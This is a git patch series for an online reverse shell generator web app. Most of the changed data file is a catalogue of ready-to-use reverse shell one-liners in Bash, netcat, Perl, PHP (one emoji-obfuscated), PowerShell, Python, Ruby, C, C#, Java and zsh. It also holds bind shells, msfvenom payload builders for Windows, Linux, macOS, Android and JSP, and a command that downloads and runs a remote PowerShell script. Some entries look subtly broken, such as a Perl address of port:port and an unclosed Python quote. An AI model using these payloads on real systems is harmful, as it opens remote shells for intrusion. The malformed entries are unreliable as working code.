#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .nav-link{color:#000;background:0 0;box-shadow:5px 5px 5px 0 rgba(153,28,143,.75)}[data-theme=light] .nav-link:hover{background-color:#7223b5}[data-theme=light] .nav-link.active{background-color:#a56096;color:#000}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file diff --git a/index.html b/index.html index c576b4e..d699607 100644 --- a/index.html +++ b/index.html @@ -1,5 +1,6 @@ + Online - Reverse Shell Generator @@ -11,7 +12,7 @@ - + @@ -20,17 +21,62 @@ - + - + - + + @@ -156,55 +202,32 @@
- +
- -
- -
- -
-
- -
-
- + +
@@ -213,36 +236,25 @@
+ - -
- - + +
+ +
+ +
- - - -
- - -
- - -
Type
-
+
@@ -258,7 +270,7 @@
- +
๐Ÿš€
@@ -326,13 +338,107 @@
-
+ -
...
-
...
-
...
-
+ +
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
๐Ÿš€
+

+                                        
+
+ +
+ + + + +
+
+ +
+
+
+
+
+ + + +
+
+
+
+
+ +
+
+ +
+
+ + +
+ + +
+
+
๐Ÿš€
+

+                                            
+
+ +
+ + + + +
+ +
+ +
+
+
+
+ diff --git a/js/data.js b/js/data.js index 4d41deb..013e5bb 100644 --- a/js/data.js +++ b/js/data.js @@ -18,8 +18,7 @@ const rsgData = { 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' }, - reverseShellCommands: [ - { + reverseShellCommands: [{ "name": "Bash -i", "command": "{shell} -i >& /dev/tcp/{ip}/{port} 0>&1", "meta": ["linux", "mac"] @@ -44,16 +43,6 @@ const rsgData = { "command": "{shell} -i >& /dev/udp/{ip}/{port} 0>&1", "meta": ["linux", "mac"] }, - { - "name": "C", - "command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", - "meta": ["linux", "windows", "mac"] - }, - { - "name": "C#", - "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"10.0.2.15\", 443))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", - "meta": ["linux", "windows", "mac"] - }, { "name": "nc mkfifo", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f", @@ -62,37 +51,63 @@ const rsgData = { { "name": "nc -e", "command": "nc -e {shell} {ip} {port}", - "meta": ["linux", "windows", "mac"] + "meta": ["linux", "mac"] + }, + { + "name": "nc.exe -e", + "command": "nc -e {shell} {ip} {port}", + "meta": ["windows"] }, { "name": "nc -c", "command": "nc -c {shell} {ip} {port}", - "meta": ["linux", "windows", "mac"] + "meta": ["linux", "mac"] }, { "name": "ncat -e", - "command": "ncat {ip} {port} -e {shell} ", + "command": "ncat {ip} {port} -e {shell}", "meta": ["linux", "mac"] }, + { + "name": "ncat.exe -e", + "command": "ncat.exe {ip} {port} -e {shell}", + "meta": ["windows"] + }, { "name": "ncat udp", "command": "ncat {ip} {port} -e {shell}", "meta": ["linux", "mac"] }, { - "name": "Emoji PHP", - "command": "php -r '$๐Ÿ˜€=\"1\";$๐Ÿ˜=\"2\";$๐Ÿ˜…=\"3\";$๐Ÿ˜†=\"4\";$๐Ÿ˜‰=\"5\";$๐Ÿ˜Š=\"6\";$๐Ÿ˜Ž=\"7\";$๐Ÿ˜=\"8\";$๐Ÿ˜š=\"9\";$๐Ÿ™‚=\"0\";$๐Ÿคข=\" \";$๐Ÿค“=\"<\";$๐Ÿค =\">\";$๐Ÿ˜ฑ=\"-\";$๐Ÿ˜ต=\"&\";$๐Ÿคฉ=\"i\";$๐Ÿค”=\".\";$๐Ÿคจ=\"/\";$๐Ÿฅฐ=\"a\";$๐Ÿ˜=\"b\";$๐Ÿ˜ถ=\"i\";$๐Ÿ™„=\"h\";$๐Ÿ˜‚=\"c\";$๐Ÿคฃ=\"d\";$๐Ÿ˜ƒ=\"e\";$๐Ÿ˜„=\"f\";$๐Ÿ˜‹=\"k\";$๐Ÿ˜˜=\"n\";$๐Ÿ˜—=\"o\";$๐Ÿ˜™=\"p\";$๐Ÿค—=\"s\";$๐Ÿ˜‘=\"x\";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = \"{ip}\";$๐Ÿ’ป = {port};$๐Ÿš = \"{shell}\". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);'", + // fix + "name": "C", + "command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", "meta": ["linux", "windows", "mac"] }, + { + "name": "C#", + "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"10.0.2.15\", 443))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", + "meta": ["linux", "windows"] + }, + { + "name": "Haskell #1", + "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"", + "meta": ["linux", "mac"] + }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", - "meta": ["linux", "windows", "mac"] + "meta": ["linux", "mac"] }, { "name": "Perl no sh", "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"{port}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", - "meta": ["linux", "windows", "mac"] + "meta": ["linux", "mac"] + }, + { + "name": "PHP Emoji", + "command": "php -r '$๐Ÿ˜€=\"1\";$๐Ÿ˜=\"2\";$๐Ÿ˜…=\"3\";$๐Ÿ˜†=\"4\";$๐Ÿ˜‰=\"5\";$๐Ÿ˜Š=\"6\";$๐Ÿ˜Ž=\"7\";$๐Ÿ˜=\"8\";$๐Ÿ˜š=\"9\";$๐Ÿ™‚=\"0\";$๐Ÿคข=\" \";$๐Ÿค“=\"<\";$๐Ÿค =\">\";$๐Ÿ˜ฑ=\"-\";$๐Ÿ˜ต=\"&\";$๐Ÿคฉ=\"i\";$๐Ÿค”=\".\";$๐Ÿคจ=\"/\";$๐Ÿฅฐ=\"a\";$๐Ÿ˜=\"b\";$๐Ÿ˜ถ=\"i\";$๐Ÿ™„=\"h\";$๐Ÿ˜‚=\"c\";$๐Ÿคฃ=\"d\";$๐Ÿ˜ƒ=\"e\";$๐Ÿ˜„=\"f\";$๐Ÿ˜‹=\"k\";$๐Ÿ˜˜=\"n\";$๐Ÿ˜—=\"o\";$๐Ÿ˜™=\"p\";$๐Ÿค—=\"s\";$๐Ÿ˜‘=\"x\";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = \"{ip}\";$๐Ÿ’ป = {port};$๐Ÿš = \"{shell}\". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);'", + "meta": ["linux", "mac"] }, { "name": "PHP PentestMonkey", @@ -108,7 +123,7 @@ const rsgData = { { "name": "PHP exec", "command": "php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"{shell} <&3 >&3 2>&3\");'", - "meta": ["linux",, "mac"] + "meta": ["linux", , "mac"] }, { "name": "PHP shell_exec", @@ -118,7 +133,7 @@ const rsgData = { { "name": "PHP system", "command": "php -r '$sock=fsockopen(\"{ip}\",{port});system(\"{shell} <&3 >&3 2>&3\");'", - "meta": ["linux", "mac"] + "meta": ["linux", "windows", "mac"] }, { "name": "PHP passthru", @@ -138,91 +153,172 @@ const rsgData = { { "name": "Windows ConPty", "command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}", - "meta": [] + "meta": ["windows"] }, { "name": "PowerShell #1", "command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"{ip}\",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", - "meta": [] + "meta": ["windows"] }, { "name": "PowerShell #2", "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", - "meta": [] + "meta": ["windows"] }, { "name": "PowerShell #3 (Base64)", - "meta": [] + "meta": ["windows"] }, { "name": "Python #1", "command": "export RHOST=\"{ip}\";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "Python #2", "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", - "meta": [] + "meta": ["linux", "mac"] + }, + { + "name": "Python3 #1", + "command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")", + "meta": ["linux", "mac"] + }, + { + "name": "Python3 #2", + "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", + "meta": ["linux", "mac"] }, { "name": "Ruby #1", "command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "Ruby no sh", "command": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "socat #1", "command": "socat TCP:{ip}:{port} EXEC:{shell}", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "socat #2 (TTY)", "command": "socat TCP:{ip}:{port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane", - "meta": [] - }, - { - "name": "awk", - "command": "awk 'BEGIN {s = \"/inet/tcp/0/{ip}/{port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "node.js", "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "Java #1", "command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", - "meta": [] - }, - { - "name": "Haskell #1", - "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"", - "meta": [] + "meta": ["linux", "mac"] }, { "name": "telnet", "command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF", - "meta": [] + "meta": ["linux", "mac"] }, { - // testing.. need to move into MSFVenom. Another aray...? - "name": "Windows Meterpreter Staged Reverse TCP", - "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe", - "meta": ["msfvenom", "windows", "meterpreter", "reverse"] + "name": "zsh", + "command": "zsh -c 'zmodload zsh/net/tcp && ztcp {ip} {port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'", + "meta": ["linux", "mac"] }, ], - // msfvenom: [{ - // "name": "Windows Meterpreter Staged Reverse TCP", - // "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={port} -f exe > reverse.exe", - // "meta": ["msfvenom", "windows", "meterpreter", "reverse"] - // }, + bindShellCommands: [{ + "name": "Perl Bind", + "command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};'", + "meta": ["bind"] + }, + { + "name": "Python3 Bind", + "command": "python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'", + "meta": ["bind"] + }, + { + "name": "PHP Bind", + "command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);\\socket_write($cl,$m,strlen($m));}}'", + "meta": ["bind"] + }, +], - // ], + msfvenomShellCommands: [{ + "name": "Windows Meterpreter Staged Reverse TCP", + "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe", + "meta": ["msfvenom", "windows", "staged", "meterpreter", "reverse"] + }, + { + "name": "Windows Stageless Reverse TCP", + "command": "msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe", + "meta": ["msfvenom", "windows", "stageless", "reverse"] + }, + { + "name": "Linux Meterpreter Staged Reverse TCP", + "command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf >reverse.elf", + "meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"] + }, + { + "name": "Linux Stageless Reverse TCP", + "command": "msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf >reverse.elf", + "meta": ["msfvenom", "linux", "meterpreter", "stageless", "reverse"] + }, + { + "name": "Linux Meterpreter Staged Reverse TCP (x86)", + "command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf > shell.elf", + "meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"] + }, + { + "name": "macOS Stageless Reverse TCP (x86)", + "command": "msfvenom -p osx/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f macho > shell.macho", + "meta": ["msfvenom", "mac", "stageless", "reverse"] + }, + { + "name": "PHP Meterpreter Stageless Reverse TCP", + "command": "msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php", + "meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"] + }, + { + "name": "JSP Stageless Reverse TCP", + "command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.jsp", + "meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"] + }, + { + "name": "WAR Stageless Reverse TCP", + "command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f war > shell.war", + "meta": ["msfvenom", "windows", "linux", "stageless", "reverse"] + }, + { + "name": "Android Meterpreter Reverse TCP", + "command": "msfvenom โ€“p android/meterpreter/reverse_tcp lhost={ip} lport={port} R > payload-name.apk", + "meta": ["msfvenom", "android", "android", "reverse"] + }, + { + + "name": "Android Meterpreter Embed Reverse TCP", + "command": "msfvenom -x android/meterpreter/reverse_tcp lhost={ip} lport={port} -o payload.apk", + "meta": ["msfvenom", "android", "android", "reverse"] + }, + { + "name": "Python Stageless Reverse TCP", + "command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw > shell.py", + "meta": ["msfvenom", "windows", "linux", "stageless", "reverse"] + }, + { + "name": "Bash Stageless Reverse TCP", + "command": "msfvenom -p cmd/unix/reverse_bash LHOST={ip} LPORT={port} -f raw > shell.sh", + "meta": ["msfvenom", "linux", "macos", "stageless", "reverse"] + }, + { + "name": "Perl Stageless Reverse TCP", + "command": "msfvenom -p cmd/unix/reverse_perl LHOST={ip} LPORT={port} -f raw > shell.pl", + "meta": ["msfvenom", "windows", "linux", "stageless", "reverse"] + }, +], } From 822fc9aa6661ed69b4409cc4a65cb93a26d78957 Mon Sep 17 00:00:00 2001 From: alanfoster Date: Mon, 15 Mar 2021 23:09:02 +0000 Subject: [PATCH 4/6] wip --- .gitignore | 1 + index.html | 371 ++++++++++++++++++++++------------------------------- js/data.js | 235 ++++++++++++++++++--------------- 3 files changed, 285 insertions(+), 322 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..228b9c2 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.netlify/ diff --git a/index.html b/index.html index d699607..e8344dd 100644 --- a/index.html +++ b/index.html @@ -208,7 +208,7 @@
@@ -314,14 +311,28 @@
- -
+
+
+ Copied to clipboard +
+
+ +
+
+ Error copying to clipboard +
+
+ +
- -
-
- Copied to clipboard -
-
-
-
- Error copying to clipboard -
-
@@ -648,9 +646,9 @@ insertParameters: (command, encoder) => { return command - .replace(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP()))) - .replace(encoder('{port}'), encoder(String(rsg.getPort()))) - .replace(encoder('{shell}'), encoder(shellSelect.value)) + .replaceAll(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP()))) + .replaceAll(encoder('{port}'), encoder(String(rsg.getPort()))) + .replaceAll(encoder('{shell}'), encoder(shellSelect.value)) }, update: () => { @@ -669,7 +667,7 @@ } ); - debugger; + //debugger; const documentFragment = document.createDocumentFragment() filteredItems.forEach((item, index) => { @@ -688,9 +686,9 @@ rsg.selectedValues[rsg.commandType] = name; rsg.update(); - if (document.querySelector('#auto-copy-switch').checked) { - rsg.copyToClipboard(reverseShellCommand.innerText) - } + // if (document.querySelector('#auto-copy-switch').checked) { + // rsg.copyToClipboard(reverseShellCommand.innerText) + // } } selectionButton.innerText = name; @@ -794,7 +792,7 @@ document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates); document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates); - setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession + setInterval(rsg.updateSwitchStates, 200) // fix switch changes in rapid succession document.querySelector('#copy-listener').addEventListener('click', () => { rsg.copyToClipboard(listenerCommand.innerText) @@ -834,23 +832,23 @@ * @param {String} attribute - Attribute of element to apply localStorage value to */ const prepopulateElement = (key, element, attribute, options = null) => { - // if (localStorage.getItem(key)) { - // // TODO: Use switch/case instead - // if (element.type === "text") { - // element[attribute] = localStorage.getItem(key); - // } + if (localStorage.getItem(key)) { + // TODO: Use switch/case instead + if (element.type === "text") { + element[attribute] = localStorage.getItem(key); + } - // if (element.type === "checkbox") { - // const isChecked = (localStorage.getItem(key) !== 'false'); - // element[attribute] = isChecked; 